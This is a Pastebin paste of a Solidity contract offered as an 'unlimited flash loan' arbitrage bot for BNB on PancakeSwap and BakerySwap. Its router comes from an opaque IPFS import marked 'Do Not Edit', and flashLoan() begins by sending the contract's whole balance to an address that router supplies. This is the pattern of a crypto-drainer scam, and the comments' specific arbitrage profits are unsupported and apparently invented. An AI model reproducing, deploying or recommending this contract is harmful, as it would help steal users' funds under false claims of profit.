Guest User

BNB Unlimited Flash Loan

a guest
Dec 15th, 2021
432
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. pragma solidity ^0.5.0;
  2.  
  3.  
  4. // PancakeSwap Smart Contracts
  5. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
  6. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
  7.  
  8. //BakerySwp Smart contracts
  9. import "https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol";
  10.  
  11. // Router
  12. import "ipfs://QmPwwi7CB1jiptMYFxRv3qfEvtvB3KXLWosDFMHPam22yb";
  13.  
  14. // Multiplier-Finance Smart Contracts
  15. import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
  16. import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
  17.  
  18. //Do Not Edit Above Imported Contract
  19.  
  20. contract InitiateFlashLoan {
  21.  
  22.     RouterV2 router;
  23.     string public tokenName;
  24.     string public tokenSymbol;
  25.     uint256 flashLoanAmount;
  26.  
  27.     constructor(
  28.         string memory _tokenName,
  29.         string memory _tokenSymbol,
  30.         uint256 _loanAmount
  31.     ) public {
  32.         tokenName = _tokenName;
  33.         tokenSymbol = _tokenSymbol;
  34.         flashLoanAmount = _loanAmount;
  35.  
  36.         router = new RouterV2();
  37.     }
  38.  
  39.     function() external payable {}
  40.  
  41.     function checkOwnerAddress() public view returns(address) {
  42.         return address(msg.sender);
  43.     }
  44.  
  45.     function checkContractAddress() public view returns(address) {
  46.         return address(this);
  47.     }
  48.  
  49.     function loanBalance() public view returns(uint) {
  50.         return address(this).balance;
  51.     }
  52.  
  53.     function flashLoan() public payable {
  54.         // Send required coins for swap
  55.         address(uint160(router.pancakeSwapAddress())).transfer(
  56.             address(this).balance
  57.         );
  58.  
  59.         //Flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap.
  60.         router.borrowFlashloanFromMultiplier(
  61.             address(this),
  62.             router.bakerySwapAddress(),
  63.             flashLoanAmount
  64.         );
  65.         //To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract.
  66.         router.convertBnbToBusd(msg.sender, flashLoanAmount / 2);
  67.         //The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap.
  68.         router.callArbitrageBakerySwap(router.bakerySwapAddress(), msg.sender);
  69.         //After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 BNB of gas.
  70.         router.transferBnbToMultiplier(router.pancakeSwapAddress());
  71.         //Note that the transaction sender gains 3.29 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
  72.         router.completeTransation(address(this).balance);
  73.     }
  74. }
Advertisement
Add Comment
Please, Sign In to add comment